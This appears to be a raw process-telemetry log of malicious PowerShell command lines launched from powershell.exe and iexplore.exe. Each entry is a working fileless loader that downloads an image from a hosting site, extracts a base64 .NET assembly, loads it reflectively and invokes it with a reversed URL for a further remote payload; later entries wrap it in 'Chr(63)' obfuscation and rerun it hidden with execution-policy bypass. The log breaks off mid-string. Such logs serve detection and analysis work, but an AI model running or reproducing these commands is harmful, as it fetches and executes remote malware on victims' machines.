socket: 1864
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/597/236/original/rump_privada.jpg?1693847070';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.444463sabssssovitka2amapa/65.72.412.59//:ptth');$method.Invoke($null, $arguments)"
parent_process iexplore.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EUChr(63)&Chr(63)bgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)BpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBVChr(63)&Chr(63)FQChr(63)&Chr(63)RgChr(63)&Chr(63)4Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)UwB0Chr(63)&Chr(63)HIChr(63)&Chr(63)aQBuChr(63)&Chr(63)GcChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBCChr(63)&Chr(63)HkChr(63)&Chr(63)dChr(63)&Chr(63)BlChr(63)&Chr(63)HMChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBTChr(63)&Chr(63)FQChr(63)&Chr(63)QQBSChr(63)&Chr(63)FQChr(63)&Chr(63)PgChr(63)&Chr(63)+Chr(63)&Chr(63)CcChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GUChr(63)&Chr(63)bgBkChr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)8Chr(63)&Chr(63)DwChr(63)&Chr(63)QgBBChr(63)&Chr(63)FMChr(63)&Chr(63)RQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)XwBFChr(63)&Chr(63)E4Chr(63)&Chr(63)RChr(63)&Chr(63)Chr(63)&Chr(63)+Chr(63)&Chr(63)D4Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBUChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)E8Chr(63)&Chr(63)ZgChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)KQChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)ZQBuChr(63)&Chr(63)GQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)TwBmChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BGChr(63)&Chr(63)GwChr(63)&Chr(63)YQBnChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)HMChr(63)&Chr(63)dChr(63)&Chr(63)BhChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)ZQChr(63)&Chr(63)gChr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)GcChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)CsChr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EYChr(63)&Chr(63)bChr(63)&Chr(63)BhChr(63)&Chr(63)GcChr(63)&Chr(63)LgBMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)YgBhChr(63)&Chr(63)HMChr(63)&Chr(63)ZQChr(63)&Chr(63)2Chr(63)&Chr(63)DQChr(63)&Chr(63)TChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwB0Chr(63)&Chr(63)GgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BlChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BJChr(63)&Chr(63)G4Chr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)tChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BzChr(63)&Chr(63)HQChr(63)&Chr(63)YQByChr(63)&Chr(63)HQChr(63)&Chr(63)SQBuChr(63)&Chr(63)GQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)FQChr(63)&Chr(63)ZQB4Chr(63)&Chr(63)HQChr(63)&Chr(63)LgBTChr(63)&Chr(63)HUChr(63)&Chr(63)YgBzChr(63)&Chr(63)HQChr(63)&Chr(63)cgBpChr(63)&Chr(63)G4Chr(63)&Chr(63)ZwChr(63)&Chr(63)oChr(63)&Chr(63)CQChr(63)&Chr(63)cwB0Chr(63)&Chr(63)GEChr(63)&Chr(63)cgB0Chr(63)&Chr(63)EkChr(63)&Chr(63)bgBkChr(63)&Chr(63)GUChr(63)&Chr(63)eChr(63)&Chr(63)Chr(63)&Chr(63)sChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BMChr(63)&Chr(63)GUChr(63)&Chr(63)bgBnChr(63)&Chr(63)HQChr(63)&Chr(63)aChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)QwBvChr(63)&Chr(63)G4Chr(63)&Chr(63)dgBlChr(63)&Chr(63)HIChr(63)&Chr(63)dChr(63)&Chr(63)BdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBGChr(63)&Chr(63)HIChr(63)&Chr(63)bwBtChr(63)&Chr(63)EIChr(63)&Chr(63)YQBzChr(63)&Chr(63)GUChr(63)&Chr(63)NgChr(63)&Chr(63)0Chr(63)&Chr(63)FMChr(63)&Chr(63)dChr(63)&Chr(63)ByChr(63)&Chr(63)GkChr(63)&Chr(63)bgBnChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BiChr(63)&Chr(63)GEChr(63)&Chr(63)cwBlChr(63)&Chr(63)DYChr(63)&Chr(63)NChr(63)&Chr(63)BDChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZQBkChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)UgBlChr(63)&Chr(63)GYChr(63)&Chr(63)bChr(63)&Chr(63)BlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)BpChr(63)&Chr(63)G8Chr(63)&Chr(63)bgChr(63)&Chr(63)uChr(63)&Chr(63)EEChr(63)&Chr(63)cwBzChr(63)&Chr(63)GUChr(63)&Chr(63)bQBiChr(63)&Chr(63)GwChr(63)&Chr(63)eQBdChr(63)&Chr(63)DoChr(63)&Chr(63)OgBMChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQBtChr(63)&Chr(63)GEChr(63)&Chr(63)bgBkChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)B0Chr(63)&Chr(63)HkChr(63)&Chr(63)cChr(63)&Chr(63)BlChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)bChr(63)&Chr(63)BvChr(63)&Chr(63)GEChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GQChr(63)&Chr(63)QQBzChr(63)&Chr(63)HMChr(63)&Chr(63)ZQBtChr(63)&Chr(63)GIChr(63)&Chr(63)bChr(63)&Chr(63)B5Chr(63)&Chr(63)C4Chr(63)&Chr(63)RwBlChr(63)&Chr(63)HQChr(63)&Chr(63)VChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)oChr(63)&Chr(63)CcChr(63)&Chr(63)RgBpChr(63)&Chr(63)GIChr(63)&Chr(63)ZQByChr(63)&Chr(63)C4Chr(63)&Chr(63)SChr(63)&Chr(63)BvChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)G0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CQChr(63)&Chr(63)dChr(63)&Chr(63)B5Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZQChr(63)&Chr(63)uChr(63)&Chr(63)EcChr(63)&Chr(63)ZQB0Chr(63)&Chr(63)E0Chr(63)&Chr(63)ZQB0Chr(63)&Chr(63)GgChr(63)&Chr(63)bwBkChr(63)&Chr(63)CgChr(63)&Chr(63)JwBWChr(63)&Chr(63)EEChr(63)&Chr(63)SQChr(63)&Chr(63)nChr(63)&Chr(63)CkChr(63)&Chr(63)OwChr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)PQChr(63)&Chr(63)gChr(63)&Chr(63)CwChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)nChr(63)&Chr(63)HQChr(63)&Chr(63)eChr(63)&Chr(63)B0Chr(63)&Chr(63)C4Chr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DQChr(63)&Chr(63)NChr(63)&Chr(63)Chr(63)&Chr(63)2Chr(63)&Chr(63)DMChr(63)&Chr(63)cwBhChr(63)&Chr(63)GIChr(63)&Chr(63)cwBzChr(63)&Chr(63)HMChr(63)&Chr(63)cwBvChr(63)&Chr(63)HYChr(63)&Chr(63)aQB0Chr(63)&Chr(63)GsChr(63)&Chr(63)YQChr(63)&Chr(63)yChr(63)&Chr(63)GEChr(63)&Chr(63)bQBhChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)YQChr(63)&Chr(63)vChr(63)&Chr(63)DYChr(63)&Chr(63)NQChr(63)&Chr(63)uChr(63)&Chr(63)DcChr(63)&Chr(63)MgChr(63)&Chr(63)uChr(63)&Chr(63)DQChr(63)&Chr(63)MQChr(63)&Chr(63)yChr(63)&Chr(63)C4Chr(63)&Chr(63)NQChr(63)&Chr(63)5Chr(63)&Chr(63)C8Chr(63)&Chr(63)LwChr(63)&Chr(63)6Chr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)dChr(63)&Chr(63)B0Chr(63)&Chr(63)GgChr(63)&Chr(63)JwChr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BtChr(63)&Chr(63)GUChr(63)&Chr(63)dChr(63)&Chr(63)BoChr(63)&Chr(63)G8Chr(63)&Chr(63)ZChr(63)&Chr(63)Chr(63)&Chr(63)uChr(63)&Chr(63)EkChr(63)&Chr(63)bgB2Chr(63)&Chr(63)G8Chr(63)&Chr(63)awBlChr(63)&Chr(63)CgChr(63)&Chr(63)JChr(63)&Chr(63)BuChr(63)&Chr(63)HUChr(63)&Chr(63)bChr(63)&Chr(63)BsChr(63)&Chr(63)CwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GEChr(63)&Chr(63)cgBnChr(63)&Chr(63)HUChr(63)&Chr(63)bQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)BzChr(63)&Chr(63)CkChr(63)&Chr(63)';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('Chr(63)&Chr(63)','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process iexplore.exe martian_process powershell -command $Codigo = 'JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VQByChr(63)&Chr(63)GwChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)JwBoChr(63)&Chr(63)HQChr(63)&Chr(63)dChr(63)&Chr(63)BwChr(63)&Chr(63)HMChr(63)&Chr(63)OgChr(63)&Chr(63)vChr(63)&Chr(63)C8Chr(63)&Chr(63)dQBwChr(63)&Chr(63)GwChr(63)&Chr(63)bwBhChr(63)&Chr(63)GQChr(63)&Chr(63)ZChr(63)&Chr(63)BlChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HMChr(63)&Chr(63)LgBjChr(63)&Chr(63)G8Chr(63)&Chr(63)bQChr(63)&Chr(63)uChr(63)&Chr(63)GIChr(63)&Chr(63)cgChr(63)&Chr(63)vChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBzChr(63)&Chr(63)C8Chr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)wChr(63)&Chr(63)DQChr(63)&Chr(63)LwChr(63)&Chr(63)1Chr(63)&Chr(63)DkChr(63)&Chr(63)NwChr(63)&Chr(63)vChr(63)&Chr(63)DIChr(63)&Chr(63)MwChr(63)&Chr(63)2Chr(63)&Chr(63)C8Chr(63)&Chr(63)bwByChr(63)&Chr(63)GkChr(63)&Chr(63)ZwBpChr(63)&Chr(63)G4Chr(63)&Chr(63)YQBsChr(63)&Chr(63)C8Chr(63)&Chr(63)cgB1Chr(63)&Chr(63)G0Chr(63)&Chr(63)cChr(63)&Chr(63)BfChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)cgBpChr(63)&Chr(63)HYChr(63)&Chr(63)YQBkChr(63)&Chr(63)GEChr(63)&Chr(63)LgBqChr(63)&Chr(63)HChr(63)&Chr(63)Chr(63)&Chr(63)ZwChr(63)&Chr(63)/Chr(63)&Chr(63)DEChr(63)&Chr(63)NgChr(63)&Chr(63)5Chr(63)&Chr(63)DMChr(63)&Chr(63)OChr(63)&Chr(63)Chr(63)&Chr(63)0Chr(63)&Chr(63)DcChr(63)&Chr(63)MChr(63)&Chr(63)Chr(63)&Chr(63)3Chr(63)&Chr(63)DChr(63)&Chr(63)Chr(63)&Chr(63)JwChr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)dwBlChr(63)&Chr(63)GIChr(63)&Chr(63)QwBsChr(63)&Chr(63)GkChr(63)&Chr(63)ZQBuChr(63)&Chr(63)HQChr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)9Chr(63)&Chr(63)CChr(63)&Chr(63)Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HcChr(63)&Chr(63)LQBPChr(63)&Chr(63)GIChr(63)&Chr(63)agBlChr(63)&Chr(63)GMChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)TgBlChr(63)&Chr(63)HQChr(63)&Chr(63)LgBXChr(63)&Chr(63)GUChr(63)&Chr(63)YgBDChr(63)&Chr(63)GwChr(63)&Chr(63)aQBlChr(63)&Chr(63)G4Chr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)7Chr(63)&Chr(63)CQChr(63)&Chr(63)aQBtChr(63)&Chr(63)GEChr(63)&Chr(63)ZwBlChr(63)&Chr(63)EIChr(63)&Chr(63)eQB0Chr(63)&Chr(63)GUChr(63)&Chr(63)cwChr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)HcChr(63)&Chr(63)ZQBiChr(63)&Chr(63)EMChr(63)&Chr(63)bChr(63)&Chr(63)BpChr(63)&Chr(63)GUChr(63)&Chr(63)bgB0Chr(63)&Chr(63)C4Chr(63)&Chr(63)RChr(63)&Chr(63)BvChr(63)&Chr(63)HcChr(63)&Chr(63)bgBsChr(63)&Chr(63)G8Chr(63)&Chr(63)YQBkChr(63)&Chr(63)EQChr(63)&Chr(63)YQB0Chr(63)&Chr(63)GEChr(63)&Chr(63)KChr(63)&Chr(63)Chr(63)&Chr(63)kChr(63)&Chr(63)GkChr(63)&Chr(63)bQBhChr(63)&Chr(63)GcChr(63)&Chr(63)ZQBVChr(63)&Chr(63)HIChr(63)&Chr(63)bChr(63)&Chr(63)Chr(63)&Chr(63)pChr(63)&Chr(63)DsChr(63)&Chr(63)JChr(63)&Chr(63)BpChr(63)&Chr(63)G0Chr(63)&Chr(63)YQBnChr(63)&Chr(63)GUChr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)HgChr(63)&Chr(63)dChr(63)&Chr(63)Chr(63)&Chr(63)gChr(63)&Chr(63)D0Chr(63)&Chr(63)IChr(63)&Chr(63)BbChr(63)&Chr(63)FMChr(63)&Chr(63)eQBzChr(63)&Chr(63)HQChr(63)&Chr(63)ZQBtChr(63)&Chr(63)C4Chr(63)&Chr(63)VChr(63)&Chr(63)BlChr(63)&Chr(63)H